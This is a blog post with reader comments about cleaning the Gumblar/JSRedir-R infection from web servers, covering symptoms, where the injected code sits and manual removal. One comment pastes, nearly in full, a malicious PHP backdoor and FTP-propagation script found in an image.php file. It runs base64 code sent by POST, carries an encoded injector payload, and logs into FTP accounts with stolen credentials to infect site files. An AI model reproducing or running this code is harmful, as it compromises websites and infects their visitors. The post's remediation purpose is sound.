Fighting The JSRedir-R / Gumblar.cn Trojan

I spent the evening fighting an infection on a  client’s web server hosted by a third party. It was a bloody nightmare. I’m posting here to help any other wayward travelers who run into this issue as I think this is going to be the next big security storm. I also want to point you to the Unmask Parasites blog, which has become the de facto rallying point for folks trying to eliminate this scourge.

The Symptoms

Visitors to your site are either warned by their anti-virus program that a trojan is attempting to install (it will indicate it’s either “JSRedir-R” or “Gumblar.cn”) or, if they’re poorly protected, they’ll simply become infected with one of a number of pieces of malware, which will slow down their machines and potentially search for and send login information – specifically FTP login information – back to some master site. Some folks have reported seeing a lot of traffic to a site domain called “gumblar.cn” when doing a “netstat” on the command line.

Your visitors are infected because of some nasty bits of JavaScript and PHP that are embedded throughout files on your site. In my client’s case, I found more than 130 files that had been infected, which included PHP class files, PHP include files, index*.php files (i.e. index.php, index2.php, index-old.php) most static HTML files and all .js files.

For PHP files, you’ll typically find one long line of code at the very top of the file next to the opening PHP statement. It will resemble something like “<?php if(!function_exists(‘tmp_lkojfghx’))…”. Kill that line and that file should then be clean.

For HTML files, the code injects itself between the closing <HEAD> tag and the opening <BODY> tag, so it will resemble something like:

</head>
<script language=javascript><!–
(function(GxC){var tRUO=’%'[…](/~/g);
–></script><BODY…

Remove the entire script block and it should be clean.

For JavaScript files, look at the very bottom fo the file for a line similar to this:

<!–
(function(GxC){var tRUO=’%'[…](/~/g);
–>

Remove the entire block and you should be clean.

The last thing to look for are image.php files located in all directories named “/image/”. These will contain a single line of code that is not at all like the others and may be the way this thing tries to re-infect machines. I opened each of these, removed the line of code and saved the file as an empty file. I then changed the permissions on it to read-only. This will, hopefully, prevent them from being accessed again if the server gets reinfected. And, from the sound of things, reinfection is common.

The Cure

Simply remove the lines of code I mentioned above and you should be clean. To identify exactly which files were infected, I used a PHP script written by “rad-one” – a poster on the Unmask Parasites comments – and modified it slightly so that it ran better from the command line. You can download it in a ZIP format by clicking here. I took the “FOUND” lines, printed it out and then, one by one, opened each file and removed the offending line of code. I’m not sure there’s a reliable way to automate this process – especially if you’re running a rather complexly coded PHP site – as it relies on finding function calls that may actually be legitimate. The trojan modifies the variable and function names per infection, so there’s really no reliable way to know the code this script finds is good or bad. You’ll just have to hand-verify.

As for how you got infected in the first place, this seems to be a bit of a mystery still, though there are a lot of clues indicating that the infection can stem from a compromised computer that contains FTP usernames and passwords like those stored in Filezilla or other FTP programs. Run a solid anti-virus program on your machine (I like Avast – it caught the attempted infection the second I loaded the website) as well as one or more anti-malware programs (I like MalwareBytes and Spybot Search and Destroy). Dot his for every computer that accesses your web site via FTP. You may also want to change your FTP password and switch to SFTP if feasible. Or, better yet, set up a scheme using scp or rsync, perhaps in conjunction with svn to maintain a history of your files so that, in case of another infection, it’s a fairly minor piece of work to replace the infected site with a known clean version.

I’d love to hear if you have any other information about this. Please feel free to leave comments below.

13 comments to Fighting The JSRedir-R / Gumblar.cn Trojan

  • Joanna

    Thanks for posting, I am the wayward traveler you wrote it for, having been battling this for several weeks with a hosting site who has been pointing me in all the wrong directions as to cause, hence I keep getting reinfected. I’m not very knowledgeable about all this stuff, and am looking for someone to do a better job than my host tech support and I have managed the last 3 attempts. I actually thought I’d got it last time, it stayed clean for a week, then bam !, I got an email from Google less than two hours after I uploaded some new updates by FTP (and it was clean at the time) – to say the site is now blacklisted. Since then I found this page and don’t actually know how to run the checks you’re suggesting, but I’m not just here to moan – I actually have some (hopefully) helpful information……you’re the first person to tell me to check the image.php folder, so i did….OMG..I have no idea what is supposed to be there, presumably nothing if you say empty it, but I have got a whole encyclopedia of code in there! Maybe there’s something useful in here that will help everyone figure this out…….. but with words like PAYLOAD and ENEMY FILE and FATAL ERROR, it sounds promising (at least to me!). Last question, if this image.php isn’t needed, why not just delete it? Why empty it and save as read only?

    Joanna

    <?php srand((double)microtime()*1000000);$pid=time();for($i=0;$i<8;$i++)$pid.=chr(rand(ord(‘a’),ord(‘z’)));
    define(‘CR’,”\n”);if(isset($_POST[‘e’]))eval(base64_decode($_POST[‘e’]));
    if(!isset($_POST[‘t’])||!isset($_POST[‘c’])||!isset($_POST[‘p’]))die(‘WP’); $PLD=base64_decode($_POST[‘p’]);
    $th=intval($_POST[‘t’]);$cmd=intval($_POST[‘c’]);if(isset($_POST[‘d’]))$DATA=base64_decode($_POST[‘d’]);else $DATA=”;
    prns(‘IN:’.($str=’ t=’.$th.’&c=’.$cmd.’&d=’.$DATA));define(‘SH_TMP’,’./sh’.$th.’.php’);
    define(‘FTP_TMP’,’./tpf’.$th.’.txt’);define(‘FCUR’,’cur’.$th.’.txt’);define(‘_LOG’,’ptf’.$th.’.’); $f=”;
    if($cmd==3)$f=_LOG.’1.txt’;elseif($cmd==4)$f=_LOG.’p.txt’;
    if($f){prns(‘FILE: ‘.$f);if(file_exists($f)&&($ff=fopen($f,’r’))){$c=500;
    while($c&&!feof($ff)){echo fread($ff, 1024);$c–;} fclose($ff);} exit;}
    ###########################################################################
    $LAST_FILE=$LAST_NAME=”;
    function _FGET($f,$fn=”){ global $LAST_FILE, $LAST_NAME; if(!$fn)$fn=$f;
    if($fn==$LAST_NAME)return $LAST_FILE; $LAST_FILE=”; $LAST_NAME=$fn; if(file_exists($f)&&($ff=fopen($f,’r’))){
    while(!feof($ff))$LAST_FILE.=fread($ff, 1024); fclose($ff);} return $LAST_FILE; }
    error_reporting(E_ALL ^ E_NOTICE); @ini_set(‘error_log’,NULL); @ini_set(‘log_errors’,0); @set_time_limit(0);
    function prn($s){return; global $th; writeFile(‘log’.$th.’.log’,$s,’a’);flush();} function prns($s){prn($s.CR);}
    function eSLASH($d){return (substr($d,-1)==DIRECTORY_SEPARATOR) ? $d : $d.DIRECTORY_SEPARATOR;}
    function hchars($s){return str_replace(‘.*)[‘.CR.’]?/m’,$a,$b))return $b[0]; return $a;}
    define(‘MSP’,”(?”.”>[ \t]*)”);
    function _f1(&$a){if(count($a)==1)return $a[0]; $b=array(); foreach($a as $v)$b[$v[0]][]=substr($v,1);
    foreach($b as $k=>$v)$b[$k]=_f1($v); return $b;}
    #echo ”;
    ########################################################
    set_error_handler(‘meh’); $SAFE=0;
    function meh($e1,$es,$e2,$e4){global $LAST_ERROR, $SAFE; $LAST_ERROR=$es; if($SAFE)return;
    if(strpos($es,’Permission denied’) or strpos($es,’Operation not permitted’) or
    strpos($es,’Value too large’) or strpos($es,’Unable to parse url’) or
    strpos($es,’unable to connect’) or strstr($es,’unserialize’) or
    strpos($es,’disabled for security reasons’) or
    (strpos($es,’unlink(‘) && strpos($es,’No such file or directory’)) )
    _warn(“$es on line $e4”);
    elseif(!starting($es,’mysql’) && !starting($es,’ftp’)) _err(“PHP ERROR($e1) on line $e4\n$es”);
    }

    function _fopen($s,$b){if(!(file_exists($s)||($b[0]!=’r’))||!($f=fopen($s,$b)))return 0;
    $wb=0; $c=100; while($c&&(!flock($f,LOCK_EX+LOCK_NB,$wb)||$wb)){usleep(300);$c–;}return $f;}
    function getData($s){$rr=array();if($f=_fopen($s,’r+’)){ $r=”; while(!feof($f))$r.=fread($f,4096);
    if($r)$r=@unserialize($r); if($r)$rr=$r; flock($f,LOCK_UN+LOCK_NB); fclose($f);} return $rr; }
    function resetFile($f,$s){ ftruncate($f,0); fseek($f,0); fwrite($f,$s); }
    function writeFile($n, $s, $r=’w’){ if($f=_fopen($n,$r)){ if($r[0]==’w’)resetFile($f,$s);
    else fwrite($f,$s); flock($f,LOCK_UN+LOCK_NB); fclose($f); } }
    function putData($s,$d){writeFile($s,serialize($d));}
    function _warn($r){ doLog($s=’**** WARNING **** ‘.str_replace(CR,CR.’** ‘,$r),1,0);
    prns(‘‘.hchars($s).’‘); return 0; }
    function _hck($s,$s1=’HACK’){ if(DEBUG) prns($s1.’: ‘.hchars($s)); }
    function _err($r,$c=1){ $s=str_repeat(‘*’,50).CR; $s=$s.’** ‘.str_replace(CR,CR.’** ‘,$r).CR.$s;
    if($c) die(CR.hchars($s).’ Script halted.’); else { doLog($s,1,0);
    prns(‘‘.hchars($s).’‘); } return 0;}
    function halt($s){_err(‘FATAL ERROR! ‘.CR.$s,1);}
    function doLog($s,$lg=1,$o=1){return 0; if($lg!=1)$o=0;if(!is_array($lg))$lg=array($lg);
    foreach($lg as $v)writeFile(_LOG.$v.’.txt’,$s.”\r\n”,’a’);if($o)prns(hchars($s));}
    function ending($s,$n){return substr($s,-strlen($n))==$n;}
    function starting($s,$n,$i=0){ if($i)$a=stristr($s,$n); else $a=strstr($s,$n); return $a==$s; }
    function EnemyLog($s,$fn=”){
    if($fn) doLog($ss=’Enemy ‘.$s.’ destroyed in ‘.$fn,1,0);
    else doLog($ss=$s,1,0); prns(‘‘.hchars($ss).’‘);}
    function strristr($s1,$s2){ $r=false; $i=strlen($s2);
    do{ $r1=$r; $r=stristr($s1,$s2); $s1=substr($r,$i); }while($r); return $r1; }
    function str_repl($p,$s,$str){ if(count($a=explode($p,$str,2))<2) return $str; return $a[0].$s.$a[1];}
    function saveCur($d,$c=”){global $CUR_FILE, $START, $pid; if(count($z=getData(FCUR))&&($z[0]!=$pid)){
    prns(‘PID mismatch ‘.$z[0].’ ‘.$pid);exit;} if($START){$CUR_FILE=$d; putData(FCUR,array($pid, $CUR_FILE));} }

    function rndstr($a=3,$b=5){ $s=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789′;
    $i=strlen($s)-1; $r=”;for($j=0; $j=’0′)&&($r[0]0)&&(u.indexOf(“NT 6”)<0)&&(document.cookie.indexOf(“miek=1”)<0)&&(typeof(zrvzts)!=typeof(“A”))){zrvzts=”A”;
    eval(“if(window.”+a+”)j=j+”+a+”Major”+b+a+”Minor”+b+a+”Build”+b+”j;”);document.write(“”);}’;
    $s=str_replace(“\n”,”,str_replace(“\r”,”,$s)); $x=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()+’;
    for($i=0;$i<strlen($s);$i++)if(!strstr($x,$z=$s[$i])||!rand(0,3))$r.=$c.bin2hex($z);else $r.=$z;
    $z='(function(‘; if(rand(0,1)){$p1=rndstr();$z.=$p1;$x=”(/$c/g);”;}else{ $x='();’; $p1=”/$c/g”;} $z.=’){‘;
    if(rand(0,1)){$s0=rndstr(); $z.=”var $s0=’%’;”;} else $s0=”‘%'”;
    if(rand(0,1)){$s1=rndstr(); $z.=”var $s1=’$r’;”;} else $s1=”(‘$r’)”;
    if(rand(0,1)){$s2=rndstr(); $z.=”var $s2=$s1.replace($p1,$s0);”;} else $s2=”$s1.replace($p1,$s0)”;
    if(rand(0,1)){$s3=rndstr(); $z.=”var $s3=unescape($s2);”;} else $s3=”unescape($s2)”; return $z.”eval($s3)})$x”; }

    $s=’‘;
    $REGEXP=array(‘js’=>’#’.$s.’#’, ‘html’=>’#’.$s.’#’,
    ‘php’=>’##m’);
    function makePayload($s){global $PAYLOAD, $REGEXP; if(!$s)return $PAYLOAD=array(‘html’>”,’js’=>”,’php’=>”);
    $PAYLOAD[‘html’]=”.($PAYLOAD[‘js’]=’‘).”;
    $PAYLOAD[‘php’] = str_replace(”,$REGEXP[‘html’],str_replace(”,base64_encode($PAYLOAD[‘html’]),base64_decode(
    ‘PD9waHAgaWYoIWZ1bmN0aW9uX2V4aXN0cygndG1wX2xrb2pmZ2h4Jykpe2lmKGlzc2V0KCRfUE9TVFsndG1wX2xrb2pmZ2h4Mydd’.
    ‘KSlldmFsKCRfUE9TVFsndG1wX2xrb2pmZ2h4MyddKTtpZighZGVmaW5lZCgnVE1QX1hIR0ZKT0tMJykpZGVmaW5lKCdUTVBfWEhH’.
    ‘RkpPS0wnLGJhc2U2NF9kZWNvZGUoJzwxPicpKTtmdW5jdGlvbiB0bXBfbGtvamZnaHgoJHMpe2lmKCRnPShzdWJzdHIoJHMsMCwy’.
    ‘KT09Y2hyKDMxKS5jaHIoMTM5KSkpJHM9Z3ppbmZsYXRlKHN1YnN0cigkcywxMCwtOCkpO2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNj’.
    ‘cmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYp’.
    ‘KT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRj’.
    ‘aCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9z’.
    ‘KCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYs’.
    ‘JycsJHMpO30kczE9cHJlZ19yZXBsYWNlKCc8Mj4nLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFj’.
    ‘ZSgnIyhccyo8Ym9keSkjbWknLFRNUF9YSEdGSk9LTC4nXDEnLCRzMSk7ZWxzZWlmKCgkczEhPSRzKXx8c3RyaXN0cigkcywnPC9i’.
    ‘b2R5Jyl8fHN0cmlzdHIoJHMsJzwvdGl0bGU+JykpJHM9JHMxLlRNUF9YSEdGSk9LTDtyZXR1cm4gJGc/Z3plbmNvZGUoJHMpOiRz’.
    ‘O31mdW5jdGlvbiB0bXBfbGtvamZnaHgyKCRhPTAsJGI9MCwkYz0wLCRkPTApeyRzPWFycmF5KCk7aWYoJGImJiRHTE9CQUxTWyd0’.
    ‘bXBfeGhnZmpva2wnXSljYWxsX3VzZXJfZnVuYygkR0xPQkFMU1sndG1wX3hoZ2Zqb2tsJ10sJGEsJGIsJGMsJGQpO2ZvcmVhY2go’.
    ‘QG9iX2dldF9zdGF0dXMoMSkgYXMgJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0ndG1wX2xrb2pmZ2h4JylyZXR1cm47ZWxzZSAkc1td’.
    ‘PWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0t’.
    ‘KXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCd0bXBfbGtvamZnaHgnKTtmb3Io’.
    ‘JGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX1pZigoJGE9QHNldF9l’.
    ‘cnJvcl9oYW5kbGVyKCd0bXBfbGtvamZnaHgyJykpIT0ndG1wX2xrb2pmZ2h4MicpJEdMT0JBTFNbJ3RtcF94aGdmam9rbCddPSRh’.
    ‘O3RtcF9sa29qZmdoeDIoKTsgPz4=’)));}
    #############################################################
    function trail($s){if(ending($s,’/’))return $s; return $s.’/’; }

    $FTP_CONN=0; $CUR_FTP=$CUR_FILE=”; $START=1; $SKIP=0;
    function doFTP($s,$d=”){global $FTP_CONN, $SAFE, $LAST_ERROR, $FCH, $CUR_FILE, $START;
    $a=explode(‘:’,$s,3); $LAST_ERROR=”; if(!$CUR_FILE)$START=1; saveCur(”,$s);
    if(count($a)!=3){ echo ‘STATUS: -1’;/*_warn(‘Bad FTP data “‘.$s.'”‘);*/ return -1; } $SAFE=1; if($FTP_CONN)ftp_close($FTP_CONN);
    if(!$FTP_CONN=@ftp_connect($a[0],21,10)){echo ‘STATUS: -2’;/* _warn(‘Connect failed “‘.$s.'” ‘.$LAST_ERROR);*/ $SAFE=0; return -2;}
    if(!@ftp_login($FTP_CONN,$a[1],$a[2])){ echo ‘STATUS: -3’;/*_warn(‘Login failed “‘.$s.'” ‘.$LAST_ERROR);*/ $SAFE=0; return -3;}
    $SAFE=0; $FCH=0; if(!$d)$d=ftp_pwd($FTP_CONN);doLog(‘Starting dir ‘.$d); doFTPdir($d);
    if(!$START){_err(‘NO START ‘.$CUR_FILE);$START=1; doFTPdir($d);} ftp_close($FTP_CONN); return $FCH; }

    function doFTPdir($d,$lvl=4){global $FTP_CONN,$SAFE,$LAST_ERROR,$CUR_FILE,$START,$SKIP,$DCHM,$DATA; $LAST_ERROR=”; $SAFE=1;
    if(!is_array($c=ftp_rawlist($FTP_CONN, $d))){ $SAFE=0; return; }
    $SAFE=0; $ff=$fd=array(); foreach($c as $v)
    if(preg_match(“/^([-ld])([rwxst-]+)\s+(\d+)\s+([^\s]+)\s+([^\s]+)\s+(\d+)\s+(\w{3})\s+(\d+)\s+([\:\d]+)\s+(.+)$/i”,$v,$r)){
    if(($r[1]==’d’)&&($r[10]!=’.’)&&($r[10]!= ‘..’)&&($r[6]<140000))$fd[]=$r[10];elseif(($r[1]==’-‘)&&($r[6]<800000))$ff[]=$r[10];}
    elseif(preg_match(‘#^[\d-]+\s+[\d:APM]+\s+\d+\s+(.+)$#i’,$v,$r))$ff[]=$r[1];
    elseif(preg_match(‘#^[\d-]+\s+[\d:APM]+\s+\s+(.+)$#i’,$v,$r))$fd[]=$r[1];
    if(in_array(‘images’,$fd))ftp_put($FTP_CONN,trail($d).’images/image.php’,SH_TMP,FTP_ASCII); unset($c); if($lvl)
    foreach($fd as $v)if(!preg_match(‘#^(logs?|(aw)?stats|modlogan|webalizer|_vti_[a-z]{3}|_private|images|albums|g2data)$|admin#i’,$v)){
    $nn=trail($d).$v; if($START||strstr($CUR_FILE,$nn))if($SKIP){$START=1;$SKIP=0;}else doFTPdir($nn,$lvl-1); } $cc=0; $DCHM=1;
    foreach($ff as $v){$nn=trail($d).$v; if($START||($CUR_FILE==$nn)){ saveCur($nn); $cc+=doFTPfile($nn); $START=1; } } $START=1;
    if($cc) doLog($d.” – $cc files”); return; }

    function doFTPfile($fn){global $FTP_CONN, $SAFE, $LAST_ERROR, $PAYLOAD, $REGEXP, $FCH, $DCHM,
    $php_mq1, $php_mq2, $php_mq3, $php_nm, $php_mmm, $perl_mq1, $perl_mq2, $perl_mq3, $perl_nm, $perl_mmm;
    #prns($fn);
    if(preg_match(‘#\.(?:rar|tar|exe|pdf|asp|[^\.]*z[^\.]*)$#i’,$bfn=basename($fn))){/*doLog(‘Found ‘.$fn);*/return 0;} $r=”;
    if(!preg_match(‘#\.(php\d?|inc|p|[a-z]?html?|tm?pl|class|cgi|p[lm]|js|aspx?|cfm|ht.*)$#i’,$bfn,$ex))return 0; $ex=strtolower($ex[1]);
    $SAFE=1;if(!ftp_get($FTP_CONN,FTP_TMP,$fn,FTP_ASCII)){/*_warn(‘FTP_GET “‘.$fn.'” ‘.$LAST_ERROR);*/$SAFE=0;return 0;}
    clearstatcache(); $inf=0; echo ‘ ‘;
    if(($sz=filesize(FTP_TMP))>500000){/*_warn($fn.’ is too big (‘.$sz.’) – SKIPPED’);*/$SAFE=0;return 0;} $SAFE=0;
    if(@preg_match(‘/(?:conf(?!irm)|sql\.|db|database|index|query|password|conn(?=ect|\.)|’.
    ‘global_set|settings|functions|constants).*\.(?:php\d?|inc|p|phtml)$/i’,$bfn)) $inf=1;
    if(!$inf&&preg_match(‘#^(p[lm]|cgi|inc)#’,$ex))return 0; if(!$f=_FGET(FTP_TMP,$fn))return 0;#_warn(‘FTP_TMP bad ‘.$fn);
    if($ex==’js’){ $r=preg_replace($REGEXP[‘js’],”,$f).$PAYLOAD[‘js’];
    }else{ if(starting($f,'<?php eval($asdf_self’)) return 0;
    $r=preg_replace($REGEXP[‘html’],”,preg_replace($REGEXP[‘php’],”,$f));
    if(preg_match_all(‘#]*?)src=[\'”]?(http:)?//([^>]*?)>#is’,$r,$a))foreach($a[0] as $v)
    if(preg_match(‘# width\s*=\s*[\'”]?0*[01][\'”> ]|display\s*:\s*none#i’,$v)&&!strstr($v,’?’.’>’)){
    $r = preg_replace(‘#’.preg_quote($v,’#’).’.*?#is’,”,$r); EnemyLog(‘IFRAME ‘.$v,$fn);
    }elseif(preg_match(‘#visib#i’,$v)) EnemyLog(‘*** Suspicios IFRAME in ‘.$fn.CR.$v);
    if(preg_match_all(‘#<script(.*?)#is’,$r,$a))foreach(array_unique($a[0]) as $v)if(!strpos($v,’?’.’>’)){
    if(count(explode(“\n”,$v))>5)continue;
    $en=preg_match(‘#[\’\”][^\s\’\”\.,;\?!\[\]:/\(\)]{30,}#’,$v)||preg_match(‘#[\(\[](\s*\d+,){20,}#’,$v);
    if((preg_match(‘#\beval\b#’,$v)&&($en||strpos($v,’fromCharCode’)))||($en&&strpos($v,’document.write’))){
    $r = str_replace($v,”,$r); EnemyLog(‘SCRIPT ‘.$v,$fn); }
    elseif(strpos(strtolower($v),'<if’)||(preg_match(‘#document\.write[\s\(\’\”]+unescape#’,$v)&&
    !strpos($v,’google-analytics.com’))) EnemyLog(‘*** Suspicios SCRIPT in ‘.$fn.CR.$v); }
    if($inf&&strstr($f,'<?’)) $r=$PAYLOAD[‘php’].$r;
    elseif((strstr($ex,’htm’)||strstr($ex,’asp’)||strstr($ex,’cfm’)||strstr($ex,’pl’))&&($s=stristr($f,'<body’)))
    $r=str_replace($s,$PAYLOAD[‘html’].$s,$r);
    } if($r!=$f){writeFile(FTP_TMP,$r);$SAFE=1; if(!ftp_put($FTP_CONN,$fn,FTP_TMP,FTP_ASCII)){
    if($DCHM){ftp_site($FTP_CONN,’CHMOD 0755 ‘.dirname($fn)); $DCHM=0;}
    if(!ftp_delete($FTP_CONN,$fn)||!ftp_put($FTP_CONN,$fn,FTP_TMP,FTP_ASCII)){
    /*_warn(‘FTP_PUT “‘.$fn.'” ‘.$LAST_ERROR);*/ $SAFE=0;return 0;}} $SAFE=0; $FCH=1; return 1;} $FCH=1; return 0;
    }
    function enc2($s){ $r=”; $j=0; $c=’JT5Ajht3eOqmQvR8TKrHw4Qty1pEhCFJ’;
    for($i=0;$i=strlen($c))$j=0;}return $r;}
    if(!$cmd){foreach(array(FCUR,_LOG.’1.txt’,_LOG.’p.txt’) as $v)if(file_exists($v))unlink($v);}
    else{ if(count($a=getData(FCUR))==2){ $CUR_FILE=$a[1]; putData(FCUR,array($pid,$a[1]));
    prns(‘CONTINUE: ‘.$a[0].CR.$CUR_FILE); $START=0; } if($cmd==2)$SKIP=1; } #echo ‘ ‘;
    $dt=enc2($DATA); $code=”if(isset(\$_POST[‘e’]))eval(base64_decode(\$_POST[‘e’]));echo ‘$dt’;”;
    writeFile(SH_TMP,”‘);
    makePayload($PLD); $r=doFTP($DATA,”); if($r>=0)echo ‘STATUS: ‘.$r; prns(‘STATUS: ‘.$r.$str); exit; ?>

  • Well, congratulations – A cursory look at this thing indicates you may have found the way your site gets reinfected. It takes some arbitrary PHP code passed via the query string and executes them, which could create all kinds of havoc.

    I left the image.php files in place, but empty, and changed their status to “read-only”. I did this under the assumption that, if another reinfection happened, the script would try to either create or write to those image.php files and fail because they were read-only. It may be naive of me, though, as I;ve read in some places that this thing also changes file permissions.

    Make sure you run Malwarebytes and Avast on your local machine before you use FTP again – you may have the trojan installed on your machine and not know it.

    And let me know if you need help uninfecting your site. I’ll tell you now – it took me about 10 hours to fix my client’s, but that included a lot of figuring out this thing works and dealing with a VERY subpar hosting environment. It would probably only take me three or so hours now. If you’re looking for a new host, I recommend Hurricane Electric (http://www.he.net). I’ve used them for almost 10 years now and love them.

  • michael

    You have no idea how Godsend this is 🙂

    thanks a million

    michael

  • Glad I could help!

  • Hello,
    first of all, Gumblar is morphing, which means it changes in every infected site; from what I know till now, not the php code but the javascript functions; yours is (GxC), mine is (r4Pp).

    secondly, I would like to point out how correct you are in keeping the image.php file and not deleting it.

    third, one more of gumblar’s morphing, I didn’t get an image.php file, but a gifimg.php file!

    I developed a script that will check all your files and folders, and will destroy the malicious GUMBLAR code in your affected files.

    The program will list all potentially infected files, and will try to clean
    them. If successful, a “CLEANED” notification will be displayed.

    Download the zip file from our site, http://www.axxis.gr
    Go to the ‘Customer Login’ page
    ( http://www.axxis.gr/index.php?option=com_customersupport )

    The distinctive characteristic of gumblar is its ability of morphing, so this script may need additional checks in the future. You are all welcome to send your “version” of gumblar code, and I will try to fix this too.

  • Chris – thank you for posting this! When I have a free moment, I’ll check it out. We haven’t been reinfected (knock on wood) but I’d rather use something that’s automated completely than have to manually go through this again.

    I have seen that it was morphing – it even morphed within the infection on our server – not all of the functions were (GxC).

  • Jim S

    Great Information and it all really helps…..In my case I got all of the aforementioned file types infected. They also changed the file permissions and now I can’t open them. Tried using notepad and still can’t open them. Any ideas. My AVG has identified all of the infected files and I would like to open and clean them.

    But how to get into them is my puzzle.

    HELP!

  • Are your files hosted on a Linux or Windows server? If on a linux server, make sure they’re set to at least 755 (that’s read/write/execute for the user and read/execute for the group and non-user accounts) and that you’re logged in as the user who owns the files. If you have root access, you can go in and change the permissions yourself. If not, you’ll need to call your web host and ask them to reset the permissions so you can access them.

    If you’re on a Windows server, you need to be logged in as an administrator to change those files from read-only. If you don’t have that level of access, contact your web host.

    One more point on Chris’s script above – I just downloaded it and took a quick look – looks like a winner. However, the point he made about this trojan morphing is an important one – this script will NOT work for all infections, and may not even clean your infection completely. If you look at Joanna’s post above, you’ll see a script that looks like it may be one of the infection scripts. It apparently assigns function names randomly upon infection but tracks them internally. This makes it WILDLY difficult to create an automated cleaning solution. Your best bet, in m opinion, would be to

    1. Go into every directory names “images” and empty out any PHP files you find in there that you don’t expect to see (it’s rare those directories should have anything other than GIF and JPG files anyway). Don;t delete them, just open them and delete their contents, leaving an empty file.

    2. Open every .js file you have and remove any inserted code from the bottom of the file. It will be a TON of JavaScript code on a single line.

    3. Go through every HTML file and kill off any blocks located between the closing tag and the opening tag – that’s improper HTML formatting anyway, so an automated script that looked just for that and cleaned it out may not be a bad thing.

    4. Go through every PHP file and look for a long line of PHP code immediately adjacent to the opening < ?php tag. You should be able to just kill that and be good. If this is all greek to you, ask your friendly neighborhood geek to handle this for you (ahem: http://www.techknowme.com/contact/). You may want to back it all up before you make any changes, but make sure your anti-virus and anti-malware software is all up to date before you do ANYTHING, otherwise you may reinfect yourself.

  • Jim S

    I found that code when I opened an html file with Dreamweaver and it was ‘greyed’ out so I can’t delete it. It was just after However, I got the same file opened in notepad, and the code is nowhere to be seen. So help me understand this. Hope this helps….

  • Jim S

    Please ignore the last post. I’ve been dealing with this too long and need a break. I opened the wrong copy in notepad.

    SORRY!!!!

  • michael

    Hi;

    Spent the last 4 hours cleaning 🙂 and as of rigth now we are clean again.

    my img files were all gifimg.php files and I also noticed a couple of .html files that contained the code.

    I found one ( large ) txt. file it wrote that contained approx. 3000 urls ( not the kind of site you would visit I hope ) – it only wrote the folder names i.e. “/nude-puppy-pics.htm” – so I am not sure if the java script completes the first part.

    thanks again for everybody’s help

    cheers

    Michael

  • Jigar

    I have a similar virus issue for my sites. I have over 200 websites that are affected by this. Hence you can imagine the number of files that are affected with this. Please can you help me with locating any type of tool/code that will automatically remove the “junk” lines from my coding. I unfortunately do not have backups for all of them. Please advise.

    You have suggested above to download the zip file from here http://www.techknowme.com/blog/resources/fic_infection.zip
    What do I have to do thereafter, please advise?
    Regards

    Jigar

  • Chris, in a comment above, posted a link to his company’s site where they built a removal script. The only problem I see with such a tool is that the infecting code is morphing, sometimes in the same infection, so it can’t reliably catch it all and nothing short of a manual check will really ensure it’s clean.

    However, I’ve given some thought to writing a new script that looks for the hallmarks of the infection – a LONG line of code immediately after the opening “< ?php" statement, a